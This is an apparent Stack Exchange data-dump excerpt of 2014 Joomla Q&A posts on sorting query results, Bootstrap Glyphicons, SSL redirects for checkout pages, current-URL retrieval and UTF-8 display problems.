  <row Id="4275" PostTypeId="1" AcceptedAnswerId="4276" CreationDate="2014-08-30T06:48:46.740" Score="3" ViewCount="659" Body="&lt;p&gt;I have a .php script that retrieve fields from my database table and then displays them in a foreach loop (here are the relevant parts of the code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php                   &#xA;$jquery1 = &quot;SELECT `fulltext`,alias,metakey,publish_up,metadesc&#xA;            FROM kms_content&#xA;            WHERE catid=22 AND state= '1'&quot;;&#xA;$jdb1-&amp;gt;setQuery( $jquery1 );&#xA;$jfeed1= $jdb1-&amp;gt;loadObjectList();&#xA;foreach ($jfeed1 as $jitem1):&#xA;    ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;            &amp;lt;?php                                 &#xA;            $oldLocale = setlocale(LC_TIME, 'en_US');&#xA;            echo strftime(&quot;%a %d %b %Y&quot;, strtotime($jitem1-&amp;gt;publish_up)); &#xA;            setlocale(LC_TIME, $oldLocale);&#xA;            ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div&amp;gt;&amp;lt;?php echo $jitem1-&amp;gt;fulltext; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/li&amp;gt; &#xA;    &amp;lt;?php&#xA;endforeach;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So everything works great except that my array entries are sorted by &lt;code&gt;id&lt;/code&gt;. I would like them to be sorted out by the date (by the &lt;code&gt;publish_up&lt;/code&gt; value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried this code, but it's displaying a blank page with only the title at the top: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jfeed1 = $jdb1-&amp;gt;loadObjectList();&#xA;&#xA;function date_compare($a, $b)&#xA;{&#xA;    $t1 = strtotime($a['publish_up']);&#xA;    $t2 = strtotime($b['publish_up']);&#xA;    return $t1 - $t2;&#xA;}    &#xA;usort($jfeed1, 'date_compare');&#xA;foreach ($jfeed1 as $jitem1):&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've &quot;learned&quot; php just by looking at codes and reading tutorials, so I am missing a lot of fundamental knowledge which is essential when I have to put theory into practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am confused about the difference between an &lt;code&gt;array&lt;/code&gt; and an &lt;code&gt;object&lt;/code&gt; and I can't figure out what I am supposed to do to solve this warning.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    var_dump($jfeed1)&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gives me the first item:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(22) {&#xA;    [0]=&amp;gt; object(stdClass)#318 (5) { &#xA;        [&quot;fulltext&quot;]=&amp;gt; string(212) &quot;Yesterday ...&quot; &#xA;        [&quot;alias&quot;]=&amp;gt; string(3) &quot;237&quot; &#xA;        [&quot;metakey&quot;]=&amp;gt; string(7) &quot;France&quot; &#xA;        [&quot;publish_up&quot;]=&amp;gt; string(19) &quot;2011-11-15 09:06:39&quot;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="12352" LastEditDate="2019-06-10T13:49:55.000" LastActivityDate="2019-06-10T13:49:55.000" Title="How to sort my query's results by publish_up value?" Tags="|php|development|mysql|sorting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4276" PostTypeId="2" ParentId="4275" CreationDate="2014-08-30T07:27:08.333" Score="4" Body="&lt;p&gt;There are probably other differences (or maybe not: &lt;a href=&quot;https://stackoverflow.com/questions/2193049/php-objects-vs-arrays&quot;&gt;https://stackoverflow.com/questions/2193049/php-objects-vs-arrays&lt;/a&gt;) between objects and arrays, but it is mostly a style difference (at least when using a &lt;code&gt;stdClass&lt;/code&gt; object).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For objects, you use the syntax of &lt;code&gt;$variable-&amp;gt;property&lt;/code&gt; and for arrays you use &lt;code&gt;$variable['property']&lt;/code&gt;. &lt;code&gt;var_dump&lt;/code&gt; will usually show an array-style syntax, though that is not what you want to use if you see &lt;code&gt;stdClass&lt;/code&gt;, meaning it is an object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your &lt;code&gt;date_compare&lt;/code&gt; function should use &lt;code&gt;$a-&amp;gt;publish_up&lt;/code&gt; and &lt;code&gt;$b-&amp;gt;publish_up&lt;/code&gt; within the &lt;code&gt;strtotime&lt;/code&gt; calls. That should get that to actually use the values and thus actually sort.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can also skip all the sorting bit in PHP by just ordering in the SQL statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jquery1 = &quot;SELECT `fulltext`,alias,metakey,publish_up,metadesc FROM kms_content  WHERE catid=22 AND state= '1' ORDER BY publish_up DESC&quot;;&#xA;$jdb1-&amp;gt;setQuery( $jquery1 );&#xA;$jfeed1= $jdb1-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Not sure exactly what order you want, so if it is backwards, change the &lt;code&gt;DESC&lt;/code&gt; at the end to &lt;code&gt;ASC&lt;/code&gt; (descending v. ascending...)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And finally, the obligatory &quot;other Joomla best practices that you should use&quot; section. (Obviously your code can work without these, but they leverage some of the nicer features of Joomla.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest one is to avoid putting the table prefix in the query. Always reference a table by starting with &lt;code&gt;#__&lt;/code&gt;. If you ever share code between two sites, it is likely you'll change the prefix and that will be the only thing that needs to change in the code to make it work in the new site, so save yourself trouble and just always type &lt;code&gt;#__&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, Joomla's query object is a great way to build queries and have it automatically work for other database types (even if you never use them now) and also just has it escape things for you. Definitely worth learning about! &lt;a href=&quot;http://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/Selecting_data_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-08-30T07:27:08.333" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4277" PostTypeId="2" ParentId="4275" CreationDate="2014-08-30T08:04:31.170" Score="3" Body="&lt;p&gt;You can use the following query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jquery1 = $jdb1-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select('`fulltext`, alias, metakey, publish_up, metadesc')&#xA;                -&amp;gt;from('#__content')&#xA;                -&amp;gt;where('`catid` = 22')&#xA;                -&amp;gt;where('`state` = 1')&#xA;                -&amp;gt;order('publish_up desc'); // OR -&amp;gt;order('publish_up asc');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2014-08-30T08:04:31.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4278" PostTypeId="1" CreationDate="2014-08-30T15:52:43.063" Score="2" ViewCount="1862" Body="&lt;p&gt;I need to add search engine to my component. In database I have three feilds: name, post, address. How to add searching with this fields separatly? For example in the view I add three fields and search button. When I click the button it searches for matches with some of the fields.&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2014-12-01T14:26:10.137" Title="Search engine for a custom component" Tags="|component|database|view|search|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4280" PostTypeId="2" ParentId="4241" CreationDate="2014-08-31T16:24:39.383" Score="2" Body="&lt;p&gt;This is a list of the available Joomla events:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Plugin/Events&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I don't know what exactly you're trying to do you might just want to browse the list and see if anything sounds suitable to you. You could then just use the event handler in your plug in. If you need any explanation as to how to use these events just let me know&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:just noticed that you were asking for a js event to handle your fields. You can do it in php with the joomla events too. The handler will give you access to the fields - returning false should abort the operation. Is this what you need? &lt;/p&gt;&#xA;" OwnerUserId="384" LastEditorUserId="384" LastEditDate="2014-08-31T16:37:09.210" LastActivityDate="2014-08-31T16:37:09.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4281" PostTypeId="1" CreationDate="2014-08-31T17:01:33.577" Score="1" ViewCount="2512" Body="&lt;p&gt;I'm a Joomla beginner, and I'm creating a personal website using &lt;i&gt;&lt;b&gt;Bootstrap 3&lt;/b&gt;&lt;/i&gt; and &lt;i&gt;&lt;b&gt;Joomla! 3.3.&lt;/i&gt;&lt;/b&gt; I saw something about &lt;b&gt;Glyphicons&lt;/b&gt; not work with the custom B3. [I used the Customizer]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template has the following structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;template/&#xA; - css/ bootstrap.css | template.css | screen.css&#xA; - fonts/ glyphicons-halflings-regular.eot | glyphicons-halflings-regular.svg&#xA;          glyphicons-halflings-regular.ttf | glyphicons-halflings-regular.woff  &#xA; - images/ logo.png&#xA; - js/ boostrap.js  &#xA; - component.php&#xA; - favicon.ico&#xA; - index.html&#xA; - index.php&#xA; - template_thumbnail.png&#xA; - template_preview.png&#xA; - templateDetails.xml&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;b&gt;bootstrap.css&lt;/b&gt; file, &lt;code&gt;@font-face&lt;/code&gt; looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;@font-face {&#xA;  font-family: 'Glyphicons Halflings';&#xA;  src: url('../fonts/glyphicons-halflings-regular.eot');&#xA;  src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg');&#xA;}&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The default Bootstrap version loaded is &lt;b&gt;2.3.2&lt;/b&gt; in &lt;i&gt;&lt;b&gt;Joomla!3.3&lt;/b&gt;&lt;/i&gt;, but I'm using the Bootstrap version 3 loaded this way: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;?php defined('_JEXEC') or die;&#xA;&#xA;$doc = JFactory::getDocument();&#xA;$doc-&gt;addStyleSheet('templates/' . $this-&gt;template . '/css/bootstrap.css');&#xA;$doc-&gt;addScript('/templates/' . $this-&gt;template . '/js/bootstrap.js', 'text/javascript');&#xA;?&gt;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is wrong?&lt;/p&gt;&#xA;" OwnerUserId="1844" LastEditorUserId="159" LastEditDate="2015-02-06T19:57:19.160" LastActivityDate="2015-03-08T20:28:58.923" Title="What I do for Glyphicons appear in Joomla! 3.3" Tags="|joomla-3.x|fix-my-code|bootstrap|template-manager|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4282" PostTypeId="1" AcceptedAnswerId="4283" CreationDate="2014-08-31T21:48:34.797" Score="5" ViewCount="2022" Body="&lt;p&gt;In Joomla 2.5 and/or 3, is it possible to enable SSL on certain pages? I am aware of the &quot;Force SSL&quot; option in global configuration, but I have a site with an e-store, and I would like to redirect user to the secure connection when they enter the checkout process. How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2015-05-01T17:51:37.803" Title="Force SSL on parts of my Joomla site" Tags="|joomla-3.x|joomla-2.5|security|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4283" PostTypeId="2" ParentId="4282" CreationDate="2014-08-31T23:46:41.143" Score="3" Body="&lt;p&gt;The best way I know how is with the Yireo SSL Plugin. I don't think you can force PARTS of your store, but you can force the whole component. You might also want to check to see if your store has an SSL switch (most do).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.yireo.com/software/joomla-extensions/ssl-redirect&quot; rel=&quot;nofollow&quot;&gt;https://www.yireo.com/software/joomla-extensions/ssl-redirect&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-08-31T23:46:41.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4284" PostTypeId="2" ParentId="4282" CreationDate="2014-09-01T02:32:53.940" Score="1" Body="&lt;p&gt;I second Brian Peat's suggestion of using the Yireo SSL Plugin, but as an alternative you can also achieve this using the .htaccess file (depending on how complex your URL structure is and how many pages you want to redirect).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTPS} =off&#xA;RewriteRule ^checkout$ https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will redirect your users to a secure connection if they visit &lt;a href=&quot;http://yoursite.com/checkout&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://yoursite.com/checkout&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Are there any particular reason why you only want SSL on parts of the site? It might be a security issue if sensitive information is sent through a non-secure (HTTP) connection, and then redirected to HTTPS. In that case it's already to late and and the information might have been picked up by someone.&lt;/p&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;I just noticed that any menu item can be forced to display using SSL:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KjWcF.jpg&quot; alt=&quot;Secure setting - Joomla 2.5&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qk8IJ.jpg&quot; alt=&quot;Secure setting - Joomla 3&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-09-09T19:15:57.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4285" PostTypeId="1" CreationDate="2014-09-01T10:35:01.697" Score="2" ViewCount="168" Body="&lt;p&gt;Is it possible to add output formats to a component? For example, if I wanted to have a pdf output from com_content article, how would this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The article view only has a single format listed (in &lt;code&gt;/components/com_content/views/article/&lt;/code&gt;) &lt;code&gt;view.html.php&lt;/code&gt;, and I have not found a standard way of adding output formats. I know I can probably make a separate tmpl  file in my template, and add the necessary headers and code there, but that does not really look like the &quot;correct&quot; way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if there is a good way to override view.html.php, I'd be happy to know how. &lt;/p&gt;&#xA;" OwnerUserId="360" LastEditorUserId="22" LastEditDate="2014-09-01T18:29:44.043" LastActivityDate="2014-09-01T19:33:07.683" Title="Add output formats to core components" Tags="|overrides|format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4287" PostTypeId="2" ParentId="4285" CreationDate="2014-09-01T19:33:07.683" Score="3" Body="&lt;p&gt;To do it the &quot;correct&quot; way, you would have to create a &lt;code&gt;/components/com_content/views/article/view.pdf.php&lt;/code&gt; file and generate the PDF there (using a layout is optional). This file will be loaded using the URL parameter &lt;code&gt;&amp;amp;format=pdf&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-09-01T19:33:07.683" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4288" PostTypeId="1" AcceptedAnswerId="4407" CreationDate="2014-09-01T21:05:55.927" Score="6" ViewCount="437" Body="&lt;p&gt;I am having a very strange issue where I have a menu item called /foo which loads article Item 1. Now if I do /foo/2, I would expect this to generate a 404 page since I don't have a sub menu item '2' under the parent menu item /foo. Yet instead of showing a 404 page it is somehow loading the content of Article 2 under the same menu item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked the .htaccess and it is just the normal one that came with Joomla and can't figure out why this could be happening. If I try to put any article ID that does not exist in the database, then it shows the 404. Any pointers would be great!&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-09-11T02:09:04.383" Title="Menu Item loads any article content when ID passed in the URL instead of showing 404 error" Tags="|menu-item|seo|com-content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4289" PostTypeId="1" CreationDate="2014-09-01T22:19:06.090" Score="5" ViewCount="15576" Body="&lt;p&gt;I've tried create a collapsible menu with &lt;b&gt;&lt;i&gt;Joomla! 3.3&lt;/b&gt;&lt;/i&gt; and &lt;b&gt;&lt;i&gt;Bootstrap 3&lt;/b&gt;&lt;/i&gt; and I got partially. However, when the collapsible version is active and I click on the button to expand, it just open, but don't close. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, the &lt;code&gt;index.php&lt;/code&gt; code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EAl3H.png&quot; alt=&quot;This is the code in index.php&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here, &lt;code&gt;Joomla administration&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XQdnM.png&quot; alt=&quot;Here is the used codes in &amp;lt;code&amp;gt;Administrator&amp;gt;ModuleManager&amp;gt;MainMenu&amp;gt;Advanced&amp;lt;/code&amp;gt;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help us, please.&lt;/p&gt;&#xA;" OwnerUserId="1844" LastActivityDate="2015-08-29T15:39:46.840" Title="How to create a collapsible menu with Joomla! 3.3 and Bootstrap 3?" Tags="|joomla-3.3.x|menu|twitter-bootstrap-3|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4292" PostTypeId="2" ParentId="4278" CreationDate="2014-09-02T10:21:51.410" Score="1" Body="&lt;p&gt;That sounds like a feature of Component Creator: the search plugin. &lt;a href=&quot;http://component-creator.com/en/forum/announcements/35-database-updater-frontend-search-plugin&quot; rel=&quot;nofollow&quot;&gt;http://component-creator.com/en/forum/announcements/35-database-updater-frontend-search-plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1848" LastActivityDate="2014-09-02T10:21:51.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4293" PostTypeId="2" ParentId="4253" CreationDate="2014-09-02T10:40:11.280" Score="-2" Body="&lt;p&gt;I've just built a relatively complex component on &lt;a href=&quot;http://component-creator.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://component-creator.com&lt;/a&gt; and it looks like the correct way is the first one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z0qE7.png&quot; alt=&quot;Component creator&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1848" LastActivityDate="2014-09-02T10:40:11.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4294" PostTypeId="1" AcceptedAnswerId="4295" CreationDate="2014-09-02T11:13:56.563" Score="25" ViewCount="50616" Body="&lt;p&gt;The following code works in Joomla 1.6, but it throws up a Strict Standards error in 3.x:        &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Strict Standards: Only variables should be assigned by reference&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //Get the full URL for sharing purposes&#xA;    $uri = &amp;amp; JFactory::getURI();&#xA;    $absolute_url = $uri-&amp;gt;toString();&#xA;&#xA;    &amp;lt;?php echo $absolute_url; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I get the code to work without the error in Joomla 3.x?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2021-08-25T01:06:47.770" Title="Get the current Joomla URL" Tags="|url|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4295" PostTypeId="2" ParentId="4294" CreationDate="2014-09-02T11:21:47.157" Score="43" Body="&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer to the main question is:&#xA;JFactory::getUri() is deprecated, use JUri directly like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$uri = JUri::getInstance(); &#xA;echo $uri-&amp;gt;toString();&#xA;&#xA;// or simpler:&#xA;&#xA;echo JUri::getInstance();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Strict Standards&lt;/em&gt; error is because of the &lt;code&gt;&amp;amp;&lt;/code&gt; before &lt;code&gt;JFactory::getURI();&lt;/code&gt;. You can find more information about that below.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ORIGINAL ANSWER&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete the &lt;strong&gt;&amp;amp;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Get the full URL for sharing purposes&#xA;$uri = JFactory::getURI();&#xA;$absolute_url = $uri-&amp;gt;toString();&#xA;&#xA;&amp;lt;?php echo $absolute_url; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With PHP5 the &lt;code&gt;new&lt;/code&gt; operator automatically returns a reference, so the '&amp;amp;' is not needed anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the official PHP manual:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As of PHP 5, the new operator returns a reference automatically, so assigning the result of new by reference results in an E_DEPRECATED message in PHP 5.3 and later, and an E_STRICT message in earlier versions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;source: &lt;a href=&quot;http://php.net/manual/en/language.operators.assignment.php&quot; rel=&quot;noreferrer&quot;&gt;http://php.net/manual/en/language.operators.assignment.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2016-10-10T17:01:33.663" LastActivityDate="2016-10-10T17:01:33.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4296" PostTypeId="1" CreationDate="2014-09-02T11:52:13.287" Score="1" ViewCount="99" Body="&lt;p&gt;I am busy with an enterprise systems development project that needs a content management component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have three main requirements:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Allow admin user to configure specific landing pages, and render&#xA;these for distribution to a CDN (like Amazon Cloudfront), or an&#xA;online storage mechanism (like Amazon S3) &lt;/li&gt;&#xA;&lt;li&gt;Programatically add images to the CMS, for distribution to and usage&#xA;from a CDN&lt;/li&gt;&#xA;&lt;li&gt;Have some pieces of page in a .NET MVC website where admin users can change the contents on that page, without requiring changes to the code to roll out new content&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Can I use Joomla to achieve these three goals?&#xA;What extensions should I look at?&lt;/p&gt;&#xA;" OwnerUserId="1849" LastActivityDate="2014-09-03T05:30:14.217" Title="Joomla capabilities for content authoring" Tags="|software-architecture|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4297" PostTypeId="1" AcceptedAnswerId="4298" CreationDate="2014-09-02T12:04:37.160" Score="5" ViewCount="4879" Body="&lt;p&gt;I have a .php that retrieves the publish_up field and echo it. But it doesn't display the special characters such as é,è,û... Instead I get a &lt;code&gt;�&lt;/code&gt;. I have set this &lt;code&gt;content=&quot;text/html; charset=utf-8&quot;&lt;/code&gt; but it doesn't solve the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for your help! &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;        &amp;lt;meta http-equiv=&quot;Content-type&quot; content=&quot;text/html; charset=utf-8&quot;&amp;gt;    &#xA;    &amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;      &amp;lt;?php                                 &#xA;      $oldLocale = setlocale(LC_TIME, 'en_US');&#xA;      echo strftime(&quot;%a %d %b %Y&quot;, strtotime($jitem1-&amp;gt;publish_up)); &#xA;      setlocale(LC_TIME, $oldLocale);&#xA;     ?&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2019-07-24T13:23:20.547" LastActivityDate="2019-07-24T13:24:10.070" Title="Php doesn't display special characters" Tags="|php|joomla-3.3.x|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4298" PostTypeId="2" ParentId="4297" CreationDate="2014-09-02T12:26:22.257" Score="3" Body="&lt;p&gt;It could be due to the encoding of the file. You can set encoding to &lt;code&gt;UTF-8&lt;/code&gt; by a good text editor like Notepad++ or by command line. For exmaple in *nix OS's:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iconv -f ascii -t utf-8 &quot;test.php&quot; -o &quot;utf8.test.php&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update 1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Also it could be due to your MySql encoding. You can add these lines before executing a query (in your model):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jdb1-&amp;gt;execute(&quot;SET NAMES 'utf8'&quot;);&#xA;$jdb1-&amp;gt;execute(&quot;SET CHARACTER SET utf8&quot;);&#xA;$jdb1-&amp;gt;execute(&quot;SET SESSION collation_connection = 'latin1_general_ci'&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$jdb1&lt;/code&gt; is your JDatabase instance.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/function.strftime.php#104043&quot; rel=&quot;nofollow&quot;&gt;If strange characters are returned use &lt;code&gt;utf8_encode(strftime())&lt;/code&gt; for UTF-8 characters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-09-02T18:47:04.210" LastActivityDate="2014-09-02T18:47:04.210" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4299" PostTypeId="1" AcceptedAnswerId="4307" CreationDate="2014-09-02T12:32:30.850" Score="5" ViewCount="1089" Body="&lt;p&gt;In my Joomla site my users can upload and download files (docs and pdfs). So I want to create a separate folder for each and every user in my server. When a user register on my website a folder is create in the name of the user. If I delete a user the folder automatically should be deleted? Which file should I edit and how to write the code?  &lt;/p&gt;&#xA;" OwnerUserId="1543" LastEditorUserId="1629" LastEditDate="2014-09-02T13:57:49.107" LastActivityDate="2014-09-02T15:51:41.813" Title="Folder create when user register joomla website?" Tags="|module|joomla-user-groups|file-upload|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4300" PostTypeId="2" ParentId="4297" CreationDate="2014-09-02T13:16:58.423" Score="0" Body="&lt;p&gt;It sounds like you don't have the correct character encoding set on your database. &#xA;To find out, check the collation used in the database for publish_up.  The correct collation to use depends on what language your website uses, but in general utf8_general_ci will work for most English language websites (apparently utf8_general_ci  &lt;a href=&quot;https://mathiasbynens.be/notes/mysql-utf8mb4&quot; rel=&quot;nofollow&quot;&gt;doesn't properly support all UTF8 coding&lt;/a&gt; , so if your version of mysql supports it you might want to use utf8mb4 instead.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check the database, I recommend using a program such as phpMyAdmin.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-09-02T13:16:58.423" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
